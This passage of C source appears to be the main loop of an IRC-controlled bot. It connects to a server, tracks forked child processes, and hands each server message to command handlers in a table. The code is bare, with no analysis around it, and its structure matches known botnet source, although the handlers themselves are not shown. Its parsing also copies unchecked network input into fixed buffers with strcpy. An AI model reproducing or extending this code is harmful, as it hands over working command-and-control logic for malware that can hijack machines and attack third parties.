    Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
    while(1) {
    unsigned long i;
    fd_set n;
    struct timeval tv;
    FD_ZERO(&n);
    FD_SET(sock,&n);
    tv.tv_sec=60*20;
    tv.tv_usec=0;
    if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
    for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
    unsigned int *newpids,on;
    for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
    pids[on-1]=0;
    numpids--;
    newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
    for (on=0;on<numpids;on++) newpids[on]=pids[on];
    free(pids);
    pids=newpids;
    }
    if (FD_ISSET(sock,&n)) {
    char buf[4096], *str;
    int i;
    if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
    buf[i]=0;
    str=strtok(buf,"\n");
    while(str && *str) {
    char name[1024], sender[1024];
    filter(str);
    if (*str == ':') {
    for (i=0;i<strlen(str) && str[i] != ' ';i++);
    str[i]=0;
    strcpy(sender,str+1);
    strcpy(str,str+i+1);
    }
    else strcpy(sender,"*");
    for (i=0;i<strlen(str) && str[i] != ' ';i++);
    str[i]=0;
    strcpy(name,str);
    strcpy(str,str+i+1);
    for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
    if (!strcasecmp(name,"ERROR")) goto sa;
    str=strtok((char*)NULL,"\n");
    }
    }
    }
    return 0;
    }